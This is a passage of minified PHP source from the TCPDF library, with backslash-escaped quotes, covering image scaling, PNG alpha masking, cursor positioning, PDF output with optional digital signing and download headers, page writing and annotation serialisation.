$this->AutoPageBreak){$ratio_wh=($w/$h);if($h>($this->PageBreakTrigger-$this->tMargin)){$h=$this->PageBreakTrigger-$this->tMargin;$w=($h*$ratio_wh);}if($fitonpage){$maxw=($this->w-$this->lMargin-$this->rMargin);if($w>$maxw){$w=$maxw;$h=($w/$ratio_wh);}}}$prev_x=$this->x;$prev_y=$this->y;if($this->checkPageBreak($h,$y) OR ($this->y<$prev_y)){$y=$this->y;if($this->rtl){$x+=($prev_x-$this->x);}else {$x+=($this->x-$prev_x);}$this->newline=true;}if($fitonpage){$ratio_wh=($w/$h);if(($y+$h)>$this->PageBreakTrigger){$h=$this->PageBreakTrigger-$y;$w=($h*$ratio_wh);}if((!$this->rtl) AND (($x+$w)>($this->w-$this->rMargin))){$w=$this->w-$this->rMargin-$x;$h=($w/$ratio_wh);}elseif(($this->rtl) AND (($x-$w)<($this->lMargin))){$w=$x-$this->lMargin;$h=($w/$ratio_wh);}}return array($w,$h,$x,$y);} function ImagePngAlpha($file,$x,$y,$wpx,$hpx,$w,$h,$type,$link,$align,$resize,$dpi,$palign,$filehash=\'\'){if(empty($filehash)){$filehash=md5($file);}$tempfile_plain=K_PATH_CACHE.\'__tcpdf_\'.$this->file_id.\'_imgmask_plain_\'.$filehash;$tempfile_alpha=K_PATH_CACHE.\'__tcpdf_\'.$this->file_id.\'_imgmask_alpha_\'.$filehash;$parsed=false;$parse_error=\'\';if(($parsed===false) AND extension_loaded(\'imagick\')){try{$img=new Imagick();$img->readImage($file);$imga=TCPDF_STATIC::objclone($img);if(method_exists($img,\'setImageAlphaChannel\') AND defined(\'Imagick::ALPHACHANNEL_EXTRACT\')){$img->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);}else {$img->separateImageChannel(8);$img->negateImage(true);}$img->setImageFormat(\'png\');$img->writeImage($tempfile_alpha);if(method_exists($imga,\'setImageMatte\')){$imga->setImageMatte(false);}else {$imga->separateImageChannel(39);}$imga->setImageFormat(\'png\');$imga->writeImage($tempfile_plain);$parsed=true;}catch(Exception$e){$parse_error=\'Imagick library error: \'.$e->getMessage();}}if(($parsed===false) AND function_exists(\'imagecreatefrompng\')){try{$img=imagecreatefrompng($file);$imgalpha=imagecreate($wpx,$hpx);for($c=0;$c<256;++$c){ImageColorAllocate($imgalpha,$c,$c,$c);}for($xpx=0;$xpx<$wpx;++$xpx){for($ypx=0;$ypx<$hpx;++$ypx){$color=imagecolorat($img,$xpx,$ypx);$alpha=$this->getGDgamma($img,$color);imagesetpixel($imgalpha,$xpx,$ypx,$alpha);}}imagepng($imgalpha,$tempfile_alpha);imagedestroy($imgalpha);$imgplain=imagecreatetruecolor($wpx,$hpx);imagecopy($imgplain,$img,0,0,0,0,$wpx,$hpx);imagepng($imgplain,$tempfile_plain);imagedestroy($imgplain);$parsed=true;}catch(Exception$e){$parse_error=\'GD library error: \'.$e->getMessage();}}if($parsed===false){if(empty($parse_error)){$this->Error(\'TCPDF requires the Imagick or GD extension to handle PNG images with alpha channel.\');}else {$this->Error($parse_error);}}$imgmask=$this->Image($tempfile_alpha,$x,$y,$w,$h,\'PNG\',\'\',\'\',$resize,$dpi,\'\',true,false);$this->Image($tempfile_plain,$x,$y,$w,$h,$type,$link,$align,$resize,$dpi,$palign,false,$imgmask);} function getGDgamma($img,$c){if(!isset($this->gdgammacache[\'#\'.$c])){$colors=imagecolorsforindex($img,$c);$this->gdgammacache[\'#\'.$c]=(((127-$colors[\'alpha\'])/127)*255);$this->gdgammacache[\'#\'.$c]=(pow(($this->gdgammacache[\'#\'.$c]/255),2.2)*255);if(count($this->gdgammacache)>8){array_shift($this->gdgammacache);}}return $this->gdgammacache[\'#\'.$c];} function Ln($h=\'\',$cell=false){if(($this->num_columns>1) AND ($this->y==$this->columns[$this->current_column][\'y\']) AND isset($this->columns[$this->current_column][\'x\']) AND ($this->x==$this->columns[$this->current_column][\'x\'])){return;}if($cell){if($this->rtl){$cellpadding=$this->cell_padding[\'R\'];}else {$cellpadding=$this->cell_padding[\'L\'];}}else {$cellpadding=0;}if($this->rtl){$this->x=$this->w-$this->rMargin-$cellpadding;}else {$this->x=$this->lMargin+$cellpadding;}if(is_string($h)){$h=$this->lasth;}$this->y+=$h;$this->newline=true;} function GetX(){if($this->rtl){return ($this->w-$this->x);}else {return $this->x;}} function GetAbsX(){return $this->x;} function GetY(){return $this->y;} function SetX($x,$rtloff=false){$x=floatval($x);if(!$rtloff AND $this->rtl){if($x>=0){$this->x=$this->w-$x;}else {$this->x=abs($x);}}else {if($x>=0){$this->x=$x;}else {$this->x=$this->w+$x;}}if($this->x<0){$this->x=0;}if($this->x>$this->w){$this->x=$this->w;}} function SetY($y,$resetx=true,$rtloff=false){$y=floatval($y);if($resetx){if(!$rtloff AND $this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}}if($y>=0){$this->y=$y;}else {$this->y=$this->h+$y;}if($this->y<0){$this->y=0;}if($this->y>$this->h){$this->y=$this->h;}} function SetXY($x,$y,$rtloff=false){$this->SetY($y,false,$rtloff);$this->SetX($x,$rtloff);} function SetAbsX($x){$this->x=floatval($x);} function SetAbsY($y){$this->y=floatval($y);} function SetAbsXY($x,$y){$this->SetAbsX($x);$this->SetAbsY($y);} function Output($name=\'doc.pdf\',$dest=\'I\'){if($this->state<3){$this->Close();}if(is_bool($dest)){$dest=$dest?\'D\':\'F\';}$dest=strtoupper($dest);if($dest[0]!=\'F\'){$name=preg_replace(\'/[\s]+/\',\'_\',$name);$name=preg_replace(\'/[^a-zA-Z0-9_\.-]/\',\'\',$name);}if($this->sign){$pdfdoc=$this->getBuffer();$pdfdoc=substr($pdfdoc,0,-1);$byterange_string_len=strlen(TCPDF_STATIC::$byterange_string);$byte_range=array();$byte_range[0]=0;$byte_range[1]=strpos($pdfdoc,TCPDF_STATIC::$byterange_string)+$byterange_string_len+10;$byte_range[2]=$byte_range[1]+$this->signature_max_length+2;$byte_range[3]=strlen($pdfdoc)-$byte_range[2];$pdfdoc=substr($pdfdoc,0,$byte_range[1]).substr($pdfdoc,$byte_range[2]);$byterange=sprintf(\'/ByteRange[0 %u %u %u]\',$byte_range[1],$byte_range[2],$byte_range[3]);$byterange.=str_repeat(\' \',($byterange_string_len-strlen($byterange)));$pdfdoc=str_replace(TCPDF_STATIC::$byterange_string,$byterange,$pdfdoc);$tempdoc=TCPDF_STATIC::getObjFilename(\'doc\',$this->file_id);$f=TCPDF_STATIC::fopenLocal($tempdoc,\'wb\');if(!$f){$this->Error(\'Unable to create temporary file: \'.$tempdoc);}$pdfdoc_length=strlen($pdfdoc);fwrite($f,$pdfdoc,$pdfdoc_length);fclose($f);$tempsign=TCPDF_STATIC::getObjFilename(\'sig\',$this->file_id);if(empty($this->signature_data[\'extracerts\'])){openssl_pkcs7_sign($tempdoc,$tempsign,$this->signature_data[\'signcert\'],array($this->signature_data[\'privkey\'],$this->signature_data[\'password\']),array(),PKCS7_BINARY|PKCS7_DETACHED);}else {openssl_pkcs7_sign($tempdoc,$tempsign,$this->signature_data[\'signcert\'],array($this->signature_data[\'privkey\'],$this->signature_data[\'password\']),array(),PKCS7_BINARY|PKCS7_DETACHED,$this->signature_data[\'extracerts\']);}$signature=file_get_contents($tempsign);$signature=substr($signature,$pdfdoc_length);$signature=substr($signature,(strpos($signature,"%%EOF
------")+13));$tmparr=explode("
",$signature);$signature=$tmparr[1];$signature=base64_decode(trim($signature));$signature=$this->applyTSA($signature);$signature=current(unpack(\'H*\',$signature));$signature=str_pad($signature,$this->signature_max_length,\'0\');$this->buffer=substr($pdfdoc,0,$byte_range[1]).\'<\'.$signature.\'>\'.substr($pdfdoc,$byte_range[1]);$this->bufferlen=strlen($this->buffer);}switch($dest){case \'I\':{if(ob_get_contents()){$this->Error(\'Some data has already been output, can\'t send PDF file\');}if(php_sapi_name()!=\'cli\'){header(\'Content-Type: application/pdf\');if(headers_sent()){$this->Error(\'Some data has already been output to browser, can\'t send PDF file\');}header(\'Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1\');header(\'Pragma: public\');header(\'Expires: Sat, 26 Jul 1997 05:00:00 GMT\');header(\'Last-Modified: \'.gmdate(\'D, d M Y H:i:s\').\' GMT\');header(\'Content-Disposition: inline; filename="\'.basename($name).\'"\');TCPDF_STATIC::sendOutputData($this->getBuffer(),$this->bufferlen);}else {echo $this->getBuffer();}break;}case \'D\':{if(ob_get_contents()){$this->Error(\'Some data has already been output, can\'t send PDF file\');}header(\'Content-Description: File Transfer\');if(headers_sent()){$this->Error(\'Some data has already been output to browser, can\'t send PDF file\');}header(\'Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1\');header(\'Pragma: public\');header(\'Expires: Sat, 26 Jul 1997 05:00:00 GMT\');header(\'Last-Modified: \'.gmdate(\'D, d M Y H:i:s\').\' GMT\');if(strpos(php_sapi_name(),\'cgi\')===false){header(\'Content-Type: application/force-download\');header(\'Content-Type: application/octet-stream\',false);header(\'Content-Type: application/download\',false);header(\'Content-Type: application/pdf\',false);}else {header(\'Content-Type: application/pdf\');}header(\'Content-Disposition: attachment; filename="\'.basename($name).\'"\');header(\'Content-Transfer-Encoding: binary\');TCPDF_STATIC::sendOutputData($this->getBuffer(),$this->bufferlen);break;}case \'F\':case \'FI\':case \'FD\':{$f=TCPDF_STATIC::fopenLocal($name,\'wb\');if(!$f){$this->Error(\'Unable to create output file: \'.$name);}fwrite($f,$this->getBuffer(),$this->bufferlen);fclose($f);if($dest==\'FI\'){header(\'Content-Type: application/pdf\');header(\'Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1\');header(\'Pragma: public\');header(\'Expires: Sat, 26 Jul 1997 05:00:00 GMT\');header(\'Last-Modified: \'.gmdate(\'D, d M Y H:i:s\').\' GMT\');header(\'Content-Disposition: inline; filename="\'.basename($name).\'"\');TCPDF_STATIC::sendOutputData(file_get_contents($name),filesize($name));}elseif($dest==\'FD\'){if(ob_get_contents()){$this->Error(\'Some data has already been output, can\'t send PDF file\');}header(\'Content-Description: File Transfer\');if(headers_sent()){$this->Error(\'Some data has already been output to browser, can\'t send PDF file\');}header(\'Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1\');header(\'Pragma: public\');header(\'Expires: Sat, 26 Jul 1997 05:00:00 GMT\');header(\'Last-Modified: \'.gmdate(\'D, d M Y H:i:s\').\' GMT\');if(strpos(php_sapi_name(),\'cgi\')===false){header(\'Content-Type: application/force-download\');header(\'Content-Type: application/octet-stream\',false);header(\'Content-Type: application/download\',false);header(\'Content-Type: application/pdf\',false);}else {header(\'Content-Type: application/pdf\');}header(\'Content-Disposition: attachment; filename="\'.basename($name).\'"\');header(\'Content-Transfer-Encoding: binary\');TCPDF_STATIC::sendOutputData(file_get_contents($name),filesize($name));}break;}case \'E\':{$retval=\'Content-Type: application/pdf;\'."
";$retval.=\' name="\'.$name.\'"\'."
";$retval.=\'Content-Transfer-Encoding: base64\'."
";$retval.=\'Content-Disposition: attachment;\'."
";$retval.=\' filename="\'.$name.\'"\'."
";$retval.=chunk_split(base64_encode($this->getBuffer()),76,"
");return $retval;}case \'S\':{return $this->getBuffer();}default:{$this->Error(\'Incorrect output destination: \'.$dest);}}return \'\';} function _destroy($destroyall=false,$preserve_objcopy=false){if($destroyall AND !$preserve_objcopy){$tmpfiles=glob(K_PATH_CACHE.\'__tcpdf_\'.$this->file_id.\'_*\');if(!empty($tmpfiles)){array_map(\'unlink\',$tmpfiles);}}$preserve=array(\'file_id\',\'internal_encoding\',\'state\',\'bufferlen\',\'buffer\',\'cached_files\',\'sign\',\'signature_data\',\'signature_max_length\',\'byterange_string\',\'tsa_timestamp\',\'tsa_data\');foreach(array_keys(get_object_vars($this)) as $val){if($destroyall OR !in_array($val,$preserve)){if((!$preserve_objcopy OR ($val!=\'objcopy\')) AND ($val!=\'file_id\') AND isset($this->$val)){unset($this->$val);}}}} function _dochecks(){if(1.1==1){$this->Error(\'Don\'t alter the locale before including class file\');}if(sprintf(\'%.1F\',1.0)!=\'1.0\'){setlocale(LC_NUMERIC,\'C\');}} function getInternalPageNumberAliases($a=\'\'){$alias=array();$alias=array(\'u\'=>array(),\'a\'=>array());$u=\'{\'.$a.\'}\';$alias[\'u\'][]=TCPDF_STATIC::_escape($u);if($this->isunicode){$alias[\'u\'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::UTF8ToLatin1($u,$this->isunicode,$this->CurrentFont));$alias[\'u\'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::utf8StrRev($u,false,$this->tmprtl,$this->isunicode,$this->CurrentFont));$alias[\'a\'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::UTF8ToLatin1($a,$this->isunicode,$this->CurrentFont));$alias[\'a\'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::utf8StrRev($a,false,$this->tmprtl,$this->isunicode,$this->CurrentFont));}$alias[\'a\'][]=TCPDF_STATIC::_escape($a);return $alias;} function getAllInternalPageNumberAliases(){$basic_alias=array(TCPDF_STATIC::$alias_tot_pages,TCPDF_STATIC::$alias_num_page,TCPDF_STATIC::$alias_group_tot_pages,TCPDF_STATIC::$alias_group_num_page,TCPDF_STATIC::$alias_right_shift);$pnalias=array();foreach($basic_alias as $k=>$a){$pnalias[$k]=$this->getInternalPageNumberAliases($a);}return $pnalias;} function replaceRightShiftPageNumAliases($page,$aliases,$diff){foreach($aliases as $type=>$alias){foreach($alias as $a){$startnum=(strpos($a,\':\')+1);$a=substr($a,0,$startnum);if(($pos=strpos($page,$a))!==false){$endnum=strpos($page,\'}\',$pos);$aa=substr($page,$pos,($endnum-$pos+1));$ratio=substr($page,($pos+$startnum),($endnum-$pos-$startnum));$ratio=preg_replace(\'/[^0-9\.]/\',\'\',$ratio);$ratio=floatval($ratio);if($type==\'u\'){$chrdiff=floor(($diff+12)*$ratio);$shift=str_repeat(\' \',$chrdiff);$shift=TCPDF_FONTS::UTF8ToUTF16BE($shift,false,$this->isunicode,$this->CurrentFont);}else {$chrdiff=floor(($diff+11)*$ratio);$shift=str_repeat(\' \',$chrdiff);}$page=str_replace($aa,$shift,$page);}}}return $page;} function setPageBoxTypes($boxes){$this->page_boxes=array();foreach($boxes as $box){if(in_array($box,TCPDF_STATIC::$pageboxes)){$this->page_boxes[]=$box;}}} function _putpages(){$filter=($this->compress)?\'/Filter /FlateDecode \':\'\';$pnalias=$this->getAllInternalPageNumberAliases();$num_pages=$this->numpages;$ptpa=TCPDF_STATIC::formatPageNumber(($this->starting_page_number+$num_pages-1));$ptpu=TCPDF_FONTS::UTF8ToUTF16BE($ptpa,false,$this->isunicode,$this->CurrentFont);$ptp_num_chars=$this->GetNumChars($ptpa);$pagegroupnum=0;$groupnum=0;$ptgu=1;$ptga=1;$ptg_num_chars=1;for($n=1;$n<=$num_pages;++$n){$temppage=$this->getPageBuffer($n);$pagelen=strlen($temppage);$pnpa=TCPDF_STATIC::formatPageNumber(($this->starting_page_number+$n-1));$pnpu=TCPDF_FONTS::UTF8ToUTF16BE($pnpa,false,$this->isunicode,$this->CurrentFont);$pnp_num_chars=$this->GetNumChars($pnpa);$pdiff=0;$gdiff=0;if(!empty($this->pagegroups)){if(isset($this->newpagegroup[$n])){$pagegroupnum=0;++$groupnum;$ptga=TCPDF_STATIC::formatPageNumber($this->pagegroups[$groupnum]);$ptgu=TCPDF_FONTS::UTF8ToUTF16BE($ptga,false,$this->isunicode,$this->CurrentFont);$ptg_num_chars=$this->GetNumChars($ptga);}++$pagegroupnum;$pnga=TCPDF_STATIC::formatPageNumber($pagegroupnum);$pngu=TCPDF_FONTS::UTF8ToUTF16BE($pnga,false,$this->isunicode,$this->CurrentFont);$png_num_chars=$this->GetNumChars($pnga);$replace=array();$replace[]=array($ptgu,$ptg_num_chars,9,$pnalias[2][\'u\']);$replace[]=array($ptga,$ptg_num_chars,7,$pnalias[2][\'a\']);$replace[]=array($pngu,$png_num_chars,9,$pnalias[3][\'u\']);$replace[]=array($pnga,$png_num_chars,7,$pnalias[3][\'a\']);list($temppage,$gdiff)=TCPDF_STATIC::replacePageNumAliases($temppage,$replace,$gdiff);}$replace=array();$replace[]=array($ptpu,$ptp_num_chars,9,$pnalias[0][\'u\']);$replace[]=array($ptpa,$ptp_num_chars,7,$pnalias[0][\'a\']);$replace[]=array($pnpu,$pnp_num_chars,9,$pnalias[1][\'u\']);$replace[]=array($pnpa,$pnp_num_chars,7,$pnalias[1][\'a\']);list($temppage,$pdiff)=TCPDF_STATIC::replacePageNumAliases($temppage,$replace,$pdiff);$temppage=$this->replaceRightShiftPageNumAliases($temppage,$pnalias[4],max($pdiff,$gdiff));$temppage=str_replace($this->epsmarker,\'\',$temppage);$this->page_obj_id[$n]=$this->_newobj();$out=\'<<\';$out.=\' /Type /Page\';$out.=\' /Parent 1 0 R\';if(empty($this->signature_data[\'approval\']) OR ($this->signature_data[\'approval\']!=\'A\')){$out.=\' /LastModified \'.$this->_datestring(0,$this->doc_modification_timestamp);}$out.=\' /Resources 2 0 R\';foreach($this->page_boxes as $box){$out.=\' /\'.$box;$out.=sprintf(\' [%F %F %F %F]\',$this->pagedim[$n][$box][\'llx\'],$this->pagedim[$n][$box][\'lly\'],$this->pagedim[$n][$box][\'urx\'],$this->pagedim[$n][$box][\'ury\']);}if(isset($this->pagedim[$n][\'BoxColorInfo\']) AND !empty($this->pagedim[$n][\'BoxColorInfo\'])){$out.=\' /BoxColorInfo <<\';foreach($this->page_boxes as $box){if(isset($this->pagedim[$n][\'BoxColorInfo\'][$box])){$out.=\' /\'.$box.\' <<\';if(isset($this->pagedim[$n][\'BoxColorInfo\'][$box][\'C\'])){$color=$this->pagedim[$n][\'BoxColorInfo\'][$box][\'C\'];$out.=\' /C [\';$out.=sprintf(\' %F %F %F\',($color[0]/255),($color[1]/255),($color[2]/255));$out.=\' ]\';}if(isset($this->pagedim[$n][\'BoxColorInfo\'][$box][\'W\'])){$out.=\' /W \'.($this->pagedim[$n][\'BoxColorInfo\'][$box][\'W\']*$this->k);}if(isset($this->pagedim[$n][\'BoxColorInfo\'][$box][\'S\'])){$out.=\' /S /\'.$this->pagedim[$n][\'BoxColorInfo\'][$box][\'S\'];}if(isset($this->pagedim[$n][\'BoxColorInfo\'][$box][\'D\'])){$dashes=$this->pagedim[$n][\'BoxColorInfo\'][$box][\'D\'];$out.=\' /D [\';foreach($dashes as $dash){$out.=sprintf(\' %F\',($dash*$this->k));}$out.=\' ]\';}$out.=\' >>\';}}$out.=\' >>\';}$out.=\' /Contents \'.($this->n+1).\' 0 R\';$out.=\' /Rotate \'.$this->pagedim[$n][\'Rotate\'];if(!$this->pdfa_mode){$out.=\' /Group << /Type /Group /S /Transparency /CS /DeviceRGB >>\';}if(isset($this->pagedim[$n][\'trans\']) AND !empty($this->pagedim[$n][\'trans\'])){if(isset($this->pagedim[$n][\'trans\'][\'Dur\'])){$out.=\' /Dur \'.$this->pagedim[$n][\'trans\'][\'Dur\'];}$out.=\' /Trans <<\';$out.=\' /Type /Trans\';if(isset($this->pagedim[$n][\'trans\'][\'S\'])){$out.=\' /S /\'.$this->pagedim[$n][\'trans\'][\'S\'];}if(isset($this->pagedim[$n][\'trans\'][\'D\'])){$out.=\' /D \'.$this->pagedim[$n][\'trans\'][\'D\'];}if(isset($this->pagedim[$n][\'trans\'][\'Dm\'])){$out.=\' /Dm /\'.$this->pagedim[$n][\'trans\'][\'Dm\'];}if(isset($this->pagedim[$n][\'trans\'][\'M\'])){$out.=\' /M /\'.$this->pagedim[$n][\'trans\'][\'M\'];}if(isset($this->pagedim[$n][\'trans\'][\'Di\'])){$out.=\' /Di \'.$this->pagedim[$n][\'trans\'][\'Di\'];}if(isset($this->pagedim[$n][\'trans\'][\'SS\'])){$out.=\' /SS \'.$this->pagedim[$n][\'trans\'][\'SS\'];}if(isset($this->pagedim[$n][\'trans\'][\'B\'])){$out.=\' /B \'.$this->pagedim[$n][\'trans\'][\'B\'];}$out.=\' >>\';}$out.=$this->_getannotsrefs($n);$out.=\' /PZ \'.$this->pagedim[$n][\'PZ\'];$out.=\' >>\';$out.="
".\'endobj\';$this->_out($out);$p=($this->compress)?gzcompress($temppage):$temppage;$this->_newobj();$p=$this->_getrawstream($p);$this->_out(\'<<\'.$filter.\'/Length \'.strlen($p).\'>> stream\'."
".$p."
".\'endstream\'."
".\'endobj\');}$out=$this->_getobj(1)."
";$out.=\'<< /Type /Pages /Kids [\';foreach($this->page_obj_id as $page_obj){$out.=\' \'.$page_obj.\' 0 R\';}$out.=\' ] /Count \'.$num_pages.\' >>\';$out.="
".\'endobj\';$this->_out($out);} function _getannotsrefs($n){if(!(isset($this->PageAnnots[$n]) OR ($this->sign AND isset($this->signature_data[\'cert_type\'])))){return \'\';}$out=\' /Annots [\';if(isset($this->PageAnnots[$n])){foreach($this->PageAnnots[$n] as $key=>$val){if(!in_array($val[\'n\'],$this->radio_groups)){$out.=\' \'.$val[\'n\'].\' 0 R\';}}if(isset($this->radiobutton_groups[$n])){foreach($this->radiobutton_groups[$n] as $key=>$data){if(isset($data[\'n\'])){$out.=\' \'.$data[\'n\'].\' 0 R\';}}}}if($this->sign AND ($n==$this->signature_appearance[\'page\']) AND isset($this->signature_data[\'cert_type\'])){$out.=\' \'.$this->sig_obj_id.\' 0 R\';}if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $esa){if($esa[\'page\']==$n){$out.=\' \'.$esa[\'objid\'].\' 0 R\';}}}$out.=\' ]\';return $out;} function _putannotsobjs(){for($n=1;$n<=$this->numpages;++$n){if(isset($this->PageAnnots[$n])){foreach($this->PageAnnots[$n] as $key=>$pl){$annot_obj_id=$this->PageAnnots[$n][$key][\'n\'];if(isset($this->radiobutton_groups[$n][$pl[\'txt\']]) AND is_array($this->radiobutton_groups[$n][$pl[\'txt\']])){$radio_button_obj_id=$this->radiobutton_groups[$n][$pl[\'txt\']][\'n\'];$annots=\'<<\';$annots.=\' /Type /Annot\';$annots.=\' /Subtype /Widget\';$annots.=\' /Rect [0 0 0 0]\';if($this->radiobutton_groups[$n][$pl[\'txt\']][\'#readonly#\']){$annots.=\' /F 68\';$annots.=\' /Ff 49153\';}else {$annots.=\' /F 4\';$annots.=\' /Ff 49152\';}$annots.=\' /T \'.$this->_datastring($pl[\'txt\'],$radio_button_obj_id);if(isset($pl[\'opt\'][\'tu\']) AND is_string($pl[\'opt\'][\'tu\'])){$annots.=\' /TU \'.$this->_datastring($pl[\'opt\'][\'tu\'],$radio_button_obj_id);}$annots.=\' /FT /Btn\';$annots.=\' /Kids [\';$defval=\'\';foreach($this->radiobutton_groups[$n][$pl[\'txt\']] as $key=>$data){if(isset($data[\'kid\'])){$annots.=\' \'.$data[\'kid\'].\' 0 R\';if($data[\'def\']!==\'Off\'){$defval=$data[\'def\'];}}}$annots.=\' ]\';if(!empty($defval)){$annots.=\' /V /\'.$defval;}$annots.=\' >>\';$this->_out($this->_getobj($radio_button_obj_id)."
".$annots."
".\'endobj\');$this->form_obj_id[]=$radio_button_obj_id;$this->radiobutton_groups[$n][$pl[\'txt\']]=$radio_button_obj_id;}$formfield=false;$pl[\'opt\']=array_change_key_case($pl[\'opt\'],CASE_LOWER);$a=$pl[\'x\']*$this->k;$b=$this->pagedim[$n][\'h\']-(($pl[\'y\']+$pl[\'h\'])*$this->k);$c=$pl[\'w\']*$this->k;$d=$pl[\'h\']*$this->k;$rect=sprintf(\'%F %F %F %F\',$a,$b,$a+$c,$b+$d);$annots=\'<</Type /Annot\';$annots.=\' /Subtype /\'.$pl[\'opt\'][\'subtype\'];$annots.=\' /Rect [\'.$rect.\']\';$ft=array(\'Btn\',\'Tx\',\'Ch\',\'Sig\');if(isset($pl[\'opt\'][\'ft\']) AND in_array($pl[\'opt\'][\'ft\'],$ft)){$annots.=\' /FT /\'.$pl[\'opt\'][\'ft\'];$formfield=true;}$annots.=\' /Contents \'.$this->_textstring($pl[\'txt\'],$annot_obj_id);$annots.=\' /P \'.$this->page_obj_id[$n].\' 0 R\';$annots.=\' /NM \'.$this->_datastring(sprintf(\'%04u-%04u\',$n,$key),$annot_obj_id);$annots.=\' /M \'.$this->_datestring($annot_obj_id,$this->doc_modification_timestamp);if(isset($pl[\'opt\'][\'f\'])){$fval=0;if(is_array($pl[\'opt\'][\'f\'])){foreach($pl[\'opt\'][\'f\'] as $f){switch(strtolower($f)){case \'invisible\':{$fval+=1<<0;break;}case \'hidden\':{$fval+=1<<1;break;}case \'print\':{$fval+=1<<2;break;}case \'nozoom\':{$fval+=1<<3;break;}case \'norotate\':{$fval+=1<<4;break;}case \'noview\':{$fval+=1<<5;break;}case \'readonly\':{$fval+=1<<6;break;}case \'locked\':{$fval+=1<<8;break;}case \'togglenoview\':{$fval+=1<<9;break;}case \'lockedcontents\':{$fval+=1<<10;break;}default:{break;}}}}else {$fval=intval($pl[\'opt\'][\'f\']);}}else {$fval=4;}if($this->pdfa_mode){$fval|=4;}$annots.=\' /F \'.intval($fval);if(isset($pl[\'opt\'][\'as\']) AND is_string($pl[\'opt\'][\'as\'])){$annots.=\' /AS /\'.$pl[\'opt\'][\'as\'];}if(isset($pl[\'opt\'][\'ap\'])){$annots.=\' /AP <<\';if(is_array($pl[\'opt\'][\'ap\'])){foreach($pl[\'opt\'][\'ap\'] as $apmode=>$apdef){$annots.=\' /\'.strtoupper($apmode);if(is_array($apdef)){$annots.=\' <<\';foreach($apdef as $apstate=>$stream){$apsobjid=$this->_putAPXObject($c,$d,$stream);$annots.=\' /\'.$apstate.\' \'.$apsobjid.\' 0 R\';}$annots.=\' >>\';}else {$apsobjid=$this->_putAPXObject($c,$d,$apdef);$annots.=\' \'.$apsobjid.\' 0 R\';}}}else {$annots.=$pl[\'opt\'][\'ap\'];}$annots.=\' >>\';}if(isset($pl[\'opt\'][\'bs\']) AND (is_array($pl[\'opt\'][\'bs\']))){$annots.=\' /BS <<\';$annots.=\' /Type /Border\';if(isset($pl[\'opt\'][\'bs\'][\'w\'])){$annots.=\' /W \'.intval($pl[\'opt\'][\'bs\'][\'w\']);}$bstyles=array(\'S\',\'D\',\'B\',\'I\',\'U\');if(isset($pl[\'opt\'][\'bs\'][\'s\']) AND in_array($pl[\'opt\'][\'bs\'][\'s\'],$bstyles)){$annots.=\' /S /\'.$pl[\'opt\'][\'bs\'][\'s\'];}if(isset($pl[\'opt\'][\'bs\'][\'d\']) AND (is_array($pl[\'opt\'][\'bs\'][\'d\']))){$annots.=\' /D [\';foreach($pl[\'opt\'][\'bs\'][\'d\'] as $cord){$annots.=\' \'.intval($cord);}$annots.=\']\';}$annots.=\' >>\';}else {$annots.=\' /Border [\';if(isset($pl[\'opt\'][\'border\']) AND (count($pl[\'opt\'][\'border\'])>=3)){$annots.=intval($pl[\'opt\'][\'border\'][0]).\' \';$annots.=intval($pl[\'opt\'][\'border\'][1]).\' \';$annots.=intval($pl[\'opt\'][\'border\'][2]);if(isset($pl[\'opt\'][\'border\'][3]) AND is_array($pl[\'opt\'][\'border\'][3])){$annots.=\' [\';foreach($pl[\'opt\'][\'border\'][3] as $dash){$annots.=intval($dash).\' \';}$annots.=\']\';}}else {$annots.=\'0 0 0\';}$annots.=\']\';}if(isset($pl[\'opt\'][\'be\']) AND (is_array($pl[\'opt\'][\'be\']))){$annots.=\' /BE <<\';$bstyles=array(\'S\',\'C\');if(isset($pl[\'opt\'][\'be\'][\'s\']) AND in_array($pl[\'opt\'][\'be\'][\'s\'],$bstyles)){$annots.=\' /S /\'.$pl[\'opt\'][\'bs\'][\'s\'];}else {$annots.=\' /S /S\';}if(isset($pl[\'opt\'][\'be\'][\'i\']) AND ($pl[\'opt\'][\'be\'][\'i\']>=0) AND ($pl[\'opt\'][\'be\'][\'i\']<=2)){$annots.=\' /I \'.sprintf(\' %F\',$pl[\'opt\'][\'be\'][\'i\']);}$annots.=\'>>\';}if(isset($pl[\'opt\'][\'c\']) AND (is_array($pl[\'opt\'][\'c\'])) AND !empty($pl[\'opt\'][\'c\'])){$annots.=\' /C \'.TCPDF_COLORS::getColorStringFromArray($pl[\'opt\'][\'c\']);}$markups=array(\'text\',\'freetext\',\'line\',\'square\',\'circle\',\'polygon\',\'polyline\',\'highlight\',\'underline\',\'squiggly\',\'strikeout\',\'stamp\',\'caret\',\'ink\',\'fileattachment\',\'sound\');if(in_array(strtolower($pl[\'opt\'][\'subtype\']),$markups)){if(isset($pl[\'opt\'][\'t\']) AND is_string($pl[\'opt\'][\'t\'])){$annots.=\' /T \'.$this->_textstring($pl[\'opt\'][\'t\'],$annot_obj_id);}if(isset($pl[\'opt\'][\'ca\'])){$annots.=\' /CA \'.sprintf(\'%F\',floatval($pl[\'opt\'][\'ca\']));}if(isset($pl[\'opt\'][\'rc\'])){$annots.=\' /RC \'.$this->_textstring($pl[\'opt\'][\'rc\'],$annot_obj_id);}$annots.=\' /CreationDate \'.$this->_datestring($annot_obj_id,$this->doc_creation_timestamp);if(isset($pl[\'opt\'][\'subj\'])){$annots.=\' /Subj \'.$this->_textstring($pl[\'opt\'][\'subj\'],$annot_obj_id);}}$lineendings=array(\'Square\',\'Circle\',\'Diamond\',\'OpenArrow\',\'ClosedArrow\',\'None\',\'Butt\',\'ROpenArrow\',\'RClosedArrow\',\'Slash\');switch(strtolower($pl[\'opt\'][\'subtype\'])){case \'text\':{if(isset($pl[\'opt\'][\'open\'])){$annots.=\' /Open \'.(strtolower($pl[\'opt\'][\'open\'])==\'true\'?\'true\':\'false\');}$iconsapp=array(\'Comment\',\'Help\',\'Insert\',\'Key\',\'NewParagraph\',\'Note\',\'Paragraph\');if(isset($pl[\'opt\'][\'name\']) AND in_array($pl[\'opt\'][\'name\'],$iconsapp)){$annots.=\' /Name 